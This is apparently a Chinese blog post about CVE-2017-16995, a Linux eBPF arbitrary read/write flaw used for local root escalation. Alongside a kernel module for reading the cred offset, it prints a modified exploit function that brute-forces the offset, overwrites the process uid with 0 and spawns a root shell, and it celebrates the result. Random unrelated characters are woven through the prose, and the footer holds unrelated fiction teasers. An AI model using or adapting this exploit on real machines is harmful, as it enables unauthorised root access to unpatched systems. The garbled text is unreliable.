CVE-2017-16995


title: CVE-2017-16995
date: 2018-03-21 02:02:35
tags: linux-kernel-exploits


Ubuntu本地提權(quán)攻擊預(yù)警

漏洞描述

該漏洞存在于帶有 eBPF bpf(2)系統(tǒng)(CONFIG_BPF_SYSCALL)編譯支持的Linux內(nèi)核中姐刁,是一個(gè)內(nèi)存任意讀寫漏洞吏恭。該漏洞是由于eBPF驗(yàn)證模塊的計(jì)算錯(cuò)誤產(chǎn)生的薛躬。普通用戶可以構(gòu)造特殊的BPF來觸發(fā)該漏洞助赞,此外惡意攻擊者也可以使用該漏洞來進(jìn)行本地提權(quán)操作憎茂。

POC

原作者exp此處可下載(可能需要梯子标锄,這里copy了一份)片林,然而直接運(yùn)行员淫,很多機(jī)器是無法提權(quán)成功的合蔽。

源代碼注釋頭有說到:

if different kernel adjust CRED offset + check kernel stack size

針對這個(gè)魔鬼數(shù)字:CRED_OFFSET=0x5f8

魔鬼數(shù)字:CRED_OFFSET

這篇文章也說明了真相:

cred結(jié)構(gòu)體的偏移量可能因?yàn)閮?nèi)核版本不同、內(nèi)核編譯選項(xiàng)不同而出現(xiàn)差異介返,作者給的exp偏移量是寫死的

此文作者也給出了一種應(yīng)對之策:

獲取cred offset常量(一)

通過以下方法可獲取這個(gè)cred offset:

1拴事、getCredOffset.c

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/kthread.h>
#include <linux/errno.h>
#include <linux/types.h>
int init_module()
{
    printk("[!]current cred offset:%x\n",(unsigned long)&(current->cred)-(unsigned long)current);
    return 0;
}
void cleanup_module()
{
    printk("module cleanup\n");
}

2、Makefile

obj-m += getCredOffset.o
 
all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
         
clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

3圣蝎、編譯

make

4刃宵、執(zhí)行

sudo insmod getCredOffset.ko

該命令需要有sudo權(quán)限的用戶執(zhí)行,通過insmod命令將getCredOffset模塊注入內(nèi)核

5徘公、獲取cred offset

dmesg | grep "cred offset"

另開一個(gè)命令行執(zhí)行該命令即可獲取到cred offset牲证,最后替換掉原exp中的偏移量即可成功提權(quán)。

然而关面,雖提權(quán)成功了从隆,但此法有點(diǎn)怪異,本來想普通用戶提權(quán)缭裆,但卻需要用root用戶執(zhí)行命令來協(xié)助,有點(diǎn)力不從心寿烟。

那么問題又來了澈驼,該如何在不同的機(jī)器上動態(tài)獲取這個(gè)cred offset呢?

獲取cred offset常量——暴力嘗試

經(jīng)過上文作者的點(diǎn)撥:

這個(gè)漏洞是個(gè)任意地址讀寫漏洞筛武,所以也可以在確定task_struct地址之后缝其,以當(dāng)前用戶的uid為特征去搜索內(nèi)存,畢竟cred離task_struct不遠(yuǎn)徘六。

加上代碼中有多處__read命令内边,以及getuid()命令,這兩個(gè)命令都可以讀取uid待锈。
首先想到的是在往uidptr對應(yīng)的地址中寫0之前獲取此時(shí)的uid值漠其,通過以上兩種方式對比看有什么差異:

printf("uidptr      = %lx\n", uidptr);
uid_get=getuid();
uid_read=__read(uidptr);
printf("uid get=%lx,read=%lx\n",uid_get, uid_read);

__write(uidptr, 0); // set both uid and gid to 0

if (getuid() == 0) {
    printf("spawning root shell\n");
    system("/bin/bash");
    exit(0);
}

果然如下圖所示:

提權(quán)成功

那么規(guī)律來了,我們可以嘗試以不同的cred offset來獲取兩個(gè)uid來進(jìn)行對比,一旦對比上和屎,姑且就當(dāng)做找到了這個(gè)“確定”的值拴驮,然后再去write(0)。修改pwn函數(shù)如下:

static void pwn(uint64_t credoffset) {
    uint64_t fp, sp, ts, credadd, credptr, uidptr, uid_get, uid_read;
    fp = __get_fp();
    if (fp < PHYS_OFFSET)
        __exit("bogus fp");
    
    sp = get_sp(fp);
    if (sp < PHYS_OFFSET)
        __exit("bogus sp");
    
    ts = __read(sp);

    if (ts < PHYS_OFFSET)
        __exit("bogus task ptr");

    printf("task_struct = %lx\n", ts);

    uid_get=getuid();
    for(credoffset=0x400;credoffset<0x800;credoffset++){
        credadd=ts + credoffset;
        printf("credadd     = %lx\n", credadd);
        credptr = __read(credadd); // cred
        printf("credptr     = %lx\n", credptr);
        if (credptr < PHYS_OFFSET){
            continue;
        }
        uidptr = credptr + UID_OFFSET; // uid
        if (uidptr < PHYS_OFFSET){
            continue;
        }
        printf("uidptr      = %lx\n", uidptr);
        uid_read=__read(uidptr);
        printf("uid get=%lx,read=%lx\n",uid_get, uid_read);
        if((uid_read&0xffffffff)==uid_get){
            printf("uid get=%lx,read=%lx\n",uid_get, uid_read);
            __write(uidptr, 0); // set both uid and gid to 0
            printf("cred_offset = %lx\n", credoffset);
            if (getuid() == 0) {
                printf("spawning root shell\n");
                system("/bin/bash");
                exit(0);
            }
            printf("failed\n");
            break;
        }
    }
}

想到原作者Vitaly Nikolenko給的CRED_OFFSET=0x5f8柴信,我這邊通過rebeyond這里給出的方法獲取的是0x670套啤,猜測這個(gè)值應(yīng)該范圍不大,嘗試了一下用0x400~0x800爆破随常,很不幸潜沦,第一次嘗試失敗,被系統(tǒng)給killed掉啦:

系統(tǒng)不聽話了

調(diào)整一下范圍:0x500~0x800绪氛,ok 搞定唆鸡!

系統(tǒng)還是很乖的~

不同機(jī)器此CRED_OFFSET偏移量可能還有差異,可以視情況稍微調(diào)整一下范圍钞楼,試出結(jié)果應(yīng)該不難喇闸。

最后來體驗(yàn)一把提權(quán)后帶來的快感,root用戶想干嘛干嘛询件,如圖:

root用戶想干嘛干嘛~

完整代碼見這里燃乍。

參考鏈接:

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市宛琅,隨后出現(xiàn)的幾起案子刻蟹,更是在濱河造成了極大的恐慌,老刑警劉巖嘿辟,帶你破解...
    沈念sama閱讀 216,372評論 6 498
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件舆瘪,死亡現(xiàn)場離奇詭異,居然都是意外死亡红伦,警方通過查閱死者的電腦和手機(jī)英古,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,368評論 3 392
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來昙读,“玉大人召调,你說我怎么就攤上這事÷耄” “怎么了唠叛?”我有些...
    開封第一講書人閱讀 162,415評論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長沮稚。 經(jīng)常有香客問我艺沼,道長,這世上最難降的妖魔是什么蕴掏? 我笑而不...
    開封第一講書人閱讀 58,157評論 1 292
  • 正文 為了忘掉前任障般,我火速辦了婚禮调鲸,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘剩拢。我一直安慰自己线得,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,171評論 6 388
  • 文/花漫 我一把揭開白布徐伐。 她就那樣靜靜地躺著贯钩,像睡著了一般吊输。 火紅的嫁衣襯著肌膚如雪胧华。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,125評論 1 297
  • 那天爆雹,我揣著相機(jī)與錄音性穿,去河邊找鬼勺三。 笑死,一個(gè)胖子當(dāng)著我的面吹牛需曾,可吹牛的內(nèi)容都是我干的吗坚。 我是一名探鬼主播,決...
    沈念sama閱讀 40,028評論 3 417
  • 文/蒼蘭香墨 我猛地睜開眼呆万,長吁一口氣:“原來是場噩夢啊……” “哼商源!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起谋减,我...
    開封第一講書人閱讀 38,887評論 0 274
  • 序言:老撾萬榮一對情侶失蹤牡彻,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后出爹,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體庄吼,經(jīng)...
    沈念sama閱讀 45,310評論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,533評論 2 332
  • 正文 我和宋清朗相戀三年严就,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了总寻。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,690評論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡梢为,死狀恐怖废菱,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情抖誉,我是刑警寧澤,帶...
    沈念sama閱讀 35,411評論 5 343
  • 正文 年R本政府宣布衰倦,位于F島的核電站袒炉,受9級特大地震影響,放射性物質(zhì)發(fā)生泄漏樊零。R本人自食惡果不足惜我磁,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,004評論 3 325
  • 文/蒙蒙 一孽文、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧夺艰,春花似錦芋哭、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,659評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至存谎,卻和暖如春拔疚,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背既荚。 一陣腳步聲響...
    開封第一講書人閱讀 32,812評論 1 268
  • 我被黑心中介騙來泰國打工稚失, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人恰聘。 一個(gè)月前我還...
    沈念sama閱讀 47,693評論 2 368
  • 正文 我出身青樓句各,卻偏偏與公主長得像,于是被迫代替她去往敵國和親晴叨。 傳聞我的和親對象是個(gè)殘疾皇子凿宾,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,577評論 2 353

推薦閱讀更多精彩內(nèi)容

  • 0x01 漏洞信息 幾天前,圈子里瘋傳了ubuntu的本地提權(quán)篙螟,其主要是在twitter中用戶用戶 @Vitaly...
    Pino_HD閱讀 442評論 0 0
  • 今天下午微信朋友圈被這個(gè)漏洞刷屏菌湃,拿自己的Ubuntu服務(wù)器來復(fù)現(xiàn)。 0x01 下載地址 https://www....
    c0ny1閱讀 1,064評論 0 0
  • 該漏洞存在于Linux內(nèi)核帶有的eBPF bpf(2)系統(tǒng)調(diào)用中遍略,當(dāng)用戶提供惡意BPF程序使eBPF驗(yàn)證器模塊產(chǎn)生...
    云勺閱讀 643評論 0 1
  • 如果你看完書中的所有例子惧所,你很可能已經(jīng)做完你的實(shí)驗(yàn)和在已經(jīng)越獄的iPhone上的研究。因?yàn)楹驮S多人一樣绪杏,幾乎所有的...
    fishmai0閱讀 15,978評論 2 42
  • 1.海岸線特點(diǎn):前者海岸線曲折下愈,多優(yōu)良港灣,歷來海上貿(mào)易發(fā)達(dá)蕾久,重視商業(yè)势似;后者海岸線平直,大陸物產(chǎn)豐富僧著,習(xí)慣采集與狩...
    空游的魚閱讀 1,502評論 0 0